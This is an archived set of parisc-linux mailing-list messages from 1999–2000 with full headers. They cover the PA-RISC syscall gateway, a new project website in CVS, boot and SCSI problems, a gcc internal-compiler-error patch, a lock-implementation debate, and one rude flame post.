Approved: news@gmane.org
Message-ID: <20001218144932.427471872C@security.hp.com>
References: <E147z3b-0005TD-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619442 9047 80.91.229.3 (22 Nov 2014 01:24:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:02 +0000 (UTC)
Cc: phi@hpfrcu03.france.hp.com (Philippe Benard),
        sieler@allegro.com (Stan Sieler), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: lamont@hp.com  Mon Dec 18 07:46:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA16405
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 07:46:41 -0700
Original-Received: (qmail 13353 invoked by uid 15267); 18 Dec 2000 14:49:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13345 invoked from network); 18 Dec 2000 14:49:35 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 14:49:35 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 5646C1E6E7; Mon, 18 Dec 2000 09:49:34 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 427471872C; Mon, 18 Dec 2000 07:49:32 -0700 (MST)
In-reply-to: Your message of "Mon, 18 Dec 2000 12:06:16 GMT."
             <E147z3b-0005TD-00@the-village.bc.nu> 
Content-ID: <29501.977150971.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8923

> Since hppa its apparently 2 clocks to the syscall the numbers are apparently
> different.

Actually, the sequence consists of:

libc_stub:
	bl	gateway_page_addr
	...

gateway_page_addr:
	gate	.+8
	...
	...

And we find ourselves in kernel mode after 2 branches (unconditional
and pre-computed ==> predict correctly) and two delay slots.  At that
point we have kernel data structures at our fingertips, but have in no
way done a complete 'syscall' entry - those are (at least on hp-ux) a
bit more expensive...  (It also means that kernel vs user detection in
traps code needs to look at the priv level, not the stack pointer...)

lamont


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New web site in CVS...
Date: Mon, 18 Dec 2000 11:05:48 -0500
Organization: The Puffins at Linuxcare
Lines: 36
Approved: news@gmane.org
Message-ID: <3A3E35DC.1DA98F7@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619443 9050 80.91.229.3 (22 Nov 2014 01:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Mon Dec 18 09:00:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17796
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 09:00:26 -0700
Original-Received: (qmail 26815 invoked by uid 15267); 18 Dec 2000 16:03:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26780 invoked from network); 18 Dec 2000 16:03:21 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 16:03:21 -0000
Original-Received: (qmail 31208 invoked from network); 18 Dec 2000 16:03:15 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 18 Dec 2000 16:03:15 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8924


I've checked in the redone web site into CVS; it's in a module called
'web'.

The current implementation balances both the need for developers to
check out and locally host the pages without custom server
configuration, and the need for Linuxcare's professional web team to
have features that they need.  Balancing these two hasn't always been
easy.

Here's how it works.  In the site there are two directories; src which
contains raw .x files, and tools, which contains a somewhat hacked up
perl script to do processing.  Running 'make' in the root directory will
create a directory called 'generated' which will contain the final HTML.
To make your changes, just edit the source in the src/ directory.

At this point, I don't feel any need to change the overall architecture
and design of this site.  Everyone wants something different, and I want
you to actually use this for awhile before you consider anything else.

The content, however, I'd appreciate feedback and CVS commits on. 
Please be constructive.

We'll continue the use of the existing website until we determine that
the new content is ready to go up, then we'll switch over the hosting. 
Because of the holidays coming up, that switch will probably be at the
very beginning of January.

- Alex "happy the fight with CVS is over" deVries

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: Tue, 11 May 1999 23:18:23 -0700 (PDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990511230805.202A-100000@quark.ix.netcom.com>
References: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619443 9053 80.91.229.3 (22 Nov 2014 01:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:03 +0000 (UTC)
Cc: "Martin K. Petersen" <mkp@mkp.net>, parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: kumar@ix.netcom.com  Wed May 12 01:17:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA11182
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 01:17:05 -0600
Original-Received: (qmail 19455 invoked by uid 15267); 12 May 1999 07:16:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19448 invoked from network); 12 May 1999 07:16:46 -0000
Original-Received: from dfw-ix16.ix.netcom.com (206.214.98.16)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 07:16:46 -0000
Original-Received: (from smap@localhost)
          by dfw-ix16.ix.netcom.com (8.8.4/8.8.4)
	  id CAA11345; Wed, 12 May 1999 02:16:25 -0500 (CDT)
Original-Received: from sji-ca7-112.ix.netcom.com(209.109.235.112) by dfw-ix16.ix.netcom.com via smap (V1.3)
	id rma011336; Wed May 12 02:16:22 1999
In-Reply-To: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8925



Flame intended:

Well I thought Linux was an international phenomenon and not limited
to Americans, Canadians, Dane or Welshman. They already have enough money
to lick Gates's ass. It all sounds so stupid to me...at least narrow
minded. I am getting out of this mailing list as soon as possible.

Linux on PA-RISC does not depend on some self conceited people.

-Kumar

On Tue, 11 May 1999, Alex deVries wrote:

> 
> On 12 May 1999, Martin K. Petersen wrote:
> > 
> > My A180 arrived a couple of days ago.
> 
> So, the three Americans have theirs, the Dane was next, and the four of
> the five Canadians have theirs too now.  The Welshman is all that's left.
> Wuhoo!
> 
> > The A180 has a builtin webconsole. On the back of the system unit
> > there are two RJ45 connectors. One of them is regular ethernet
> > (DEC2114x btw. Should be piece of cake to get running) and the other
> > is for the webconsole.
> 
> How did you know that it was a tulip?
> 
> > Oh, well. Bugger. Then I decided to try out the webconsole. The
> > interface defaults to 192.0.0.192. Clickety-clik. *Blam* the Java
> > stuff in the webconsole nuked my Netscape. Grumble.
> 
> I had similiar problems with Netscape 4.51.  It seems to work just fine on
> Netscape 4.08, though, which is what came with Red Hat 5.2.
> 
> I haven't gotten to serial console yet because both my desktop and my
> (recently dropped) notebook both only have 9 pin serial ports, and the
> supplied cable's 25 pins.
> 
> Incidentally, Christopher Beard told me over lunch that he got the kernel
> building under HPUX, which would solve the linking problems we were
> worried about.
> 
> - Alex
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 15:59:21 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20001218155921.A23539@parcelfarce.linux.theplanet.co.uk>
References: <E147z3b-0005TD-00@the-village.bc.nu> <20001218144932.427471872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619443 9057 80.91.229.3 (22 Nov 2014 01:24:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:03 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
        Philippe Benard <phi@hpfrcu03.france.hp.com>,
        Stan Sieler <sieler@allegro.com>, Matthew Wilcox <matthew@wil.cx>,
        Jes Sorensen <jes@linuxcare.com>, Alan Modra <alan@linuxcare.com.au>,
        John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@hp.com>
Original-X-From: willy@www.linux.org.uk  Mon Dec 18 09:36:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA18479
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 09:36:56 -0700
Original-Received: (qmail 19746 invoked by uid 15267); 18 Dec 2000 16:39:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19731 invoked from network); 18 Dec 2000 16:39:52 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 16:39:52 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 1482h7-0006PZ-00; Mon, 18 Dec 2000 15:59:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20001218144932.427471872C@security.hp.com>; from lamont@hp.com on Mon, Dec 18, 2000 at 07:49:32AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8926

On Mon, Dec 18, 2000 at 07:49:32AM -0700, LaMont Jones wrote:
> > Since hppa its apparently 2 clocks to the syscall the numbers are apparently
> > different.
> 
> Actually, the sequence consists of:
> 
> libc_stub:
> 	bl	gateway_page_addr
> 	...
> 
> gateway_page_addr:
> 	gate	.+8
> 	...
> 	...
> 
> And we find ourselves in kernel mode after 2 branches (unconditional
> and pre-computed ==> predict correctly) and two delay slots.  At that
> point we have kernel data structures at our fingertips, but have in no
> way done a complete 'syscall' entry - those are (at least on hp-ux) a
> bit more expensive...  (It also means that kernel vs user detection in
> traps code needs to look at the priv level, not the stack pointer...)

... ignoring the potential pain of TLB misses caused by losing locality.
But this is merely a quibble, I think.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New web site in CVS...
Date: Mon, 18 Dec 2000 11:01:41 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20001218180141.298CE37CA1@carmen.fc.hp.com>
References: <3A3E35DC.1DA98F7@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619444 9063 80.91.229.3 (22 Nov 2014 01:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: taggart@carmen.fc.hp.com  Mon Dec 18 10:56:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA19587
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 10:56:56 -0700
Original-Received: (qmail 19631 invoked by uid 15267); 18 Dec 2000 17:59:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19599 invoked from network); 18 Dec 2000 17:59:51 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 17:59:51 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 1DE457A6A; Mon, 18 Dec 2000 12:59:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 298CE37CA1; Mon, 18 Dec 2000 11:01:41 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alex deVries <adevries@linuxcare.com> 
   of "Mon, 18 Dec 2000 11:05:48 EST." <3A3E35DC.1DA98F7@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8927


Alex deVries writes...

> 
> I've checked in the redone web site into CVS; it's in a module called
> 'web'.
[snip]
> 
> The content, however, I'd appreciate feedback and CVS commits on. 
> Please be constructive.

Ok I just committed some fixes. I have a couple comments,

- someone should run a link checker over the site. I tried a lot by hand but 
didn't want to spend the time to do all the weekly reports, etc.

- weekly/index.html shows the last update from May 12, 2000 and the links are 
broken. I don't know if we should go to the trouble to change all the old 
reports(and probably shouldn't for historical reasons) but if we released a 
new weekly report it would displace this old/b0rken one.

- hardware/index.html is not done. I will take a look at it shortly.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (still) booting problems with HP9000/730
Date: Mon, 18 Dec 2000 13:15:42 -0500
Organization: The Puffins at Linuxcare
Lines: 31
Approved: news@gmane.org
Message-ID: <3A3E544E.FC5B58CB@linuxcare.com>
References: <Pine.LNX.4.21.0012172113360.11612-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619444 9065 80.91.229.3 (22 Nov 2014 01:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: adevries@linuxcare.com  Mon Dec 18 11:10:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20195
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 11:10:16 -0700
Original-Received: (qmail 8967 invoked by uid 15267); 18 Dec 2000 18:13:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8905 invoked from network); 18 Dec 2000 18:13:10 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 18:13:10 -0000
Original-Received: (qmail 26897 invoked from network); 18 Dec 2000 18:13:11 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 18 Dec 2000 18:13:11 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8928

"M. Grabert" wrote:
> The kernel starts booting, but the scsi driver (old Ncr)
> reports some warnings/errors like
> shared memory is not coherent (or so), failed to reset scsi bus,
> irq probe failed etc...
> 
> the scsi driver finally recognizes my Quantum HD and
> tries to boot from it (mount it)..
> There is nothing like VFS: unable to mount blabla;
> instead it runs in to an infinite loop of kernel oops,
> it prints continously kernel stack/register traces
> (seem to look all the same).

I talked to Richard Hirst about this a few hours ago, and it looks like
there's a problem with the SCSI driver.  It's unclear how difficult it
would be to get that going, but it certainly is possible to fix.

You'd probably have more success with the 720/730 if you did nfsroot.

If anyone has a 720 or 730 (or any other machine) with correct or broken
kernel boot logs, I'm collecting them! Those can help developers who
don't have access to all the hardware.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc build failing and weird gcc configure error, post gcc merge
Date: Mon, 18 Dec 2000 12:00:57 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20001218190057.AC11337CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619444 9068 80.91.229.3 (22 Nov 2014 01:24:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Mon Dec 18 11:56:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20968
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 11:56:08 -0700
Original-Received: (qmail 19928 invoked by uid 15267); 18 Dec 2000 18:59:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19920 invoked from network); 18 Dec 2000 18:59:04 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 18:59:04 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 203806089
	for <parisc-linux@thepuffingroup.com>; Mon, 18 Dec 2000 13:59:03 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id AC11337CA1
	for <parisc-linux@thepuffingroup.com>; Mon, 18 Dec 2000 12:00:57 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8929

Hi,

Alan Modra just merged gcc with 20001211 upstream and checked in the result on 
a "devel" branch. I tried building a cross-toolchain but the glibc build fails 
with the following error,

-----------------------------------------------------------------------------
hppa-linux-gcc getnameinfo.c -c -O -Wall -Winline -Wstrict-prototypes 
-Wwrite-strings -g      -I../include -I. -I/home/al-76/puffin/xc-build/glibc/in
et -I.. -I../libio  -I/home/al-76/puffin/xc-build/glibc -I../sysdeps/hppa/elf 
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/s
ysv/linux -I../linuxthreads/sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv
 -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa 
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux 
-I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman 
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix 
-I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 
-I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa 
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc 
-isystem /home/al-76/puffin/xc/lib/gcc-lib/hppa-linux/2.97/include -isystem 
/home/al-76/puffin/palinux/linux/include -D_LIBC_REENTRANT -include 
../include/libc-symbols.h     -o /home/al-76/puffin/xc-build/glibc/inet/getname
info.o
getnameinfo.c: In function `nrl_domainname':
getnameinfo.c:164: Internal compiler error in eliminate_regs, at reload1.c:2521
Please submit a full bug report.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [/home/al-76/puffin/xc-build/glibc/inet/getnameinfo.o] Error 1
make[2]: Leaving directory `/home/al-76/puffin/palinux/glibc/inet'
make[1]: *** [inet/subdir_lib] Error 2
make: *** [all] Error 2
-----------------------------------------------------------------------------

I also noticed that during the configure for the simple gcc I use to 
cross-build glibc I get,

-----------------------------------------------------------------------------
$ configure --target=hppa-linux --host=i386-linux --build=i386-linux 
--prefix=/home/al-76/puffin/xc --disable-shared --disable-nls 
--with-headers=/home/al-76/puffin/palinux/include --without-libc 
--enable-languages=c --disable-sanity-checks"
*** This configuration is not supported in the following subdirectories:
     target-libffi target-boehm-gc target-zlib target-libjava
    (Any other directories should still work fine.)
-----------------------------------------------------------------------------

I haven't ever seen that before. Any ideas?

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com





From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc build failing and weird gcc configure error, post gcc merge
Date: Mon, 18 Dec 2000 14:02:08 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200012181902.OAA12785@hiauly1.hia.nrc.ca>
References: <20001218190057.AC11337CA1@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619445 9074 80.91.229.3 (22 Nov 2014 01:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: taggart@carmen.fc.hp.com (Matt Taggart)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 18 12:00:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21301
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 12:00:32 -0700
Original-Received: (qmail 26968 invoked by uid 15267); 18 Dec 2000 19:03:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26954 invoked from network); 18 Dec 2000 19:03:28 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 19:03:28 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA12785;
	Mon, 18 Dec 2000 14:02:08 -0500 (EST)
In-Reply-To: <20001218190057.AC11337CA1@carmen.fc.hp.com> from "Matt Taggart" at Dec 18, 2000 12:00:57 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8930

> getnameinfo.c: In function `nrl_domainname':
> getnameinfo.c:164: Internal compiler error in eliminate_regs, at reload1.c:2521

Been there.  Try this patch to gcc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-11-14  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* reload1.c (eliminate_regs): Don't abort on MEM USEs.

--- reload1.c.orig	Wed Sep 27 14:27:23 2000
+++ reload1.c	Tue Nov 14 16:01:56 2000
@@ -2499,6 +2499,10 @@
 	return x;
 
     case USE:
+      /* Handle insn_list USE that a call to a pure functions may generate. */
+      new = eliminate_regs (XEXP (x, 0), 0, insn);
+      if (GET_CODE (new) == MEM)
+	return XEXP (new, 0);
     case CLOBBER:
     case ASM_OPERANDS:
     case SET:


From - Thu Nov 08 21:14:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 11:44:45 -0800 (PST)
Lines: 98
Approved: news@gmane.org
Message-ID: <200012181944.LAA07568@opus.allegro.com>
References: <20001218144036.5BE0B1872C@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619445 9082 80.91.229.3 (22 Nov 2014 01:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:05 +0000 (UTC)
Cc: phi@hpfrcu03.france.hp.com (Philippe Benard),
        alan@lxorguk.ukuu.org.uk (Alan Cox), lamont@hp.com (LaMont Jones),
        matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: parisc-linux@thepuffingroup.com
Original-X-From: sieler@opus.allegro.com  Mon Dec 18 12:41:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22284
	for <parisc-linux@puffin.external.hp.com>; Mon, 18 Dec 2000 12:41:50 -0700
Original-Received: (qmail 29314 invoked by uid 15267); 18 Dec 2000 19:44:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29303 invoked from network); 18 Dec 2000 19:44:46 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 19:44:46 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id LAA07568;
	Mon, 18 Dec 2000 11:44:45 -0800
In-Reply-To: <20001218144036.5BE0B1872C@security.hp.com> from "LaMont Jones" at Dec 18, 2000 07:40:33 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8931

Re:

LaMont writes:
...
> That was one of the first solutions tried in HP-UX, and it resulted in
> processor 4 not getting any time (3 wasn't much better), due to the way
> that bus arbitration works (it favors one end of the bus.)
> 
> The current semaphore operations in the HP-UX kernel do not use ldcw: they
> use stb and ldw in some interesting orders (which break when we get weak
> ordering with IA64, but then we'll have a low-cost test-and-set.)

Although I said I'd stay out...

Alan...this is *important*...re-read what's clear between the lines above:

   The user is the *WRONG* person to implement locks.
   (this includes user libraries)

Why?

   - they make mistakes

   - they don't know as much as they need to know

   - their code runs on slightly different hardware (e.g., different
     models of PA-RISC with slightly different characteristics).

   - the cost of multiple copies of code (some copies by one user
     programmer, some by another) 
     ... many of which are "wrong" ... can be extreme.

Simply put:

   Locking is *important*:

      - it must be done correctly (e.g., for single-owner locks, only one
        thread must think it owns it at a time; and the owner shouldn't
        be starved of CPU time; and a requestor shouldn't run away with
        CPU resources)

      - it must be efficient.

